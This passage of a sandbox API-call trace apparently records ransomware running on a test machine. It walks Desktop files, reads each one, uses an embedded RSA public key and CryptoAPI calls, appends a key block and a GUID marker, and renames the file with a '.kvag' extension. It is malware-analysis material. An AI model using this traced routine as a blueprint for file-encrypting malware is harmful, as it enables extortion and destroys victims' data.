lpOverlapped=0x0) returned 1 [0120.267] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.267] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.267] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.267] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.268] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.268] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.268] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.268] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.268] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.268] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.268] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.268] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.268] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.268] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.268] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xba04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.269] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.269] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.269] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.269] CloseHandle (hObject=0x61c) returned 1 [0120.270] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\e8jYy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\e8jyy.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\e8jYy.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\e8jyy.bmp.kvag")) returned 1 [0120.271] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127c9e0, ftCreationTime.dwHighDateTime=0x1d4caa3, ftLastAccessTime.dwLowDateTime=0x5cb2ba10, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0x5cb2ba10, ftLastWriteTime.dwHighDateTime=0x1d4cd7d, nFileSizeHigh=0x0, nFileSizeLow=0x12184, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JawS.mp4", cAlternateFileName="")) returned 1 [0120.271] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\JawS.mp4") returned=".mp4" [0120.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\JawS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\jaws.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.272] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=74116) returned 1 [0120.272] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.274] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1215e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.274] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.276] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x12184, lpOverlapped=0x0) returned 1 [0120.277] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.277] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.277] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.277] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.278] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.278] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.278] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.278] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.278] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.278] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.278] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.278] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.278] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.278] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.279] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.279] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.279] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.279] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.279] CloseHandle (hObject=0x61c) returned 1 [0120.280] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\JawS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\jaws.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\JawS.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\jaws.mp4.kvag")) returned 1 [0120.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b265370, ftCreationTime.dwHighDateTime=0x1d4d358, ftLastAccessTime.dwLowDateTime=0x5e499ac0, ftLastAccessTime.dwHighDateTime=0x1d4d0bf, ftLastWriteTime.dwLowDateTime=0x5e499ac0, ftLastWriteTime.dwHighDateTime=0x1d4d0bf, nFileSizeHigh=0x0, nFileSizeLow=0x16b29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpbeM _K1sn_lkYkaR.xlsx", cAlternateFileName="JPBEM_~1.XLS")) returned 1 [0120.281] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\jpbeM _K1sn_lkYkaR.xlsx") returned=".xlsx" [0120.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\jpbeM _K1sn_lkYkaR.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\jpbem _k1sn_lkykar.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.281] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=92969) returned 1 [0120.282] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.284] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16b03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.284] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.285] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.285] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x16b29, lpOverlapped=0x0) returned 1 [0120.286] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.286] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.286] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.286] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.287] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.287] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.287] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.287] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.287] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.287] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.287] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.287] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.287] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.288] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.288] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16b29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.288] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.288] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.288] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.288] CloseHandle (hObject=0x61c) returned 1 [0120.290] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\jpbeM _K1sn_lkYkaR.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\jpbem _k1sn_lkykar.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\jpbeM _K1sn_lkYkaR.xlsx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\jpbem _k1sn_lkykar.xlsx.kvag")) returned 1 [0120.291] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e96490, ftCreationTime.dwHighDateTime=0x1d4d312, ftLastAccessTime.dwLowDateTime=0xee068fb0, ftLastAccessTime.dwHighDateTime=0x1d4c6d8, ftLastWriteTime.dwLowDateTime=0xee068fb0, ftLastWriteTime.dwHighDateTime=0x1d4c6d8, nFileSizeHigh=0x0, nFileSizeLow=0x15345, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ly7OJHzcLLYB H_Z.m4a", cAlternateFileName="LY7OJH~1.M4A")) returned 1 [0120.291] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\Ly7OJHzcLLYB H_Z.m4a") returned=".m4a" [0120.291] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\Ly7OJHzcLLYB H_Z.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\ly7ojhzcllyb h_z.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.291] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=86853) returned 1 [0120.291] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.293] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1531f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.293] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.295] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x15345, lpOverlapped=0x0) returned 1 [0120.296] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.296] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.296] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.296] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.297] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.297] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.297] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.297] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.297] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.297] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.297] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.297] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.297] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.297] 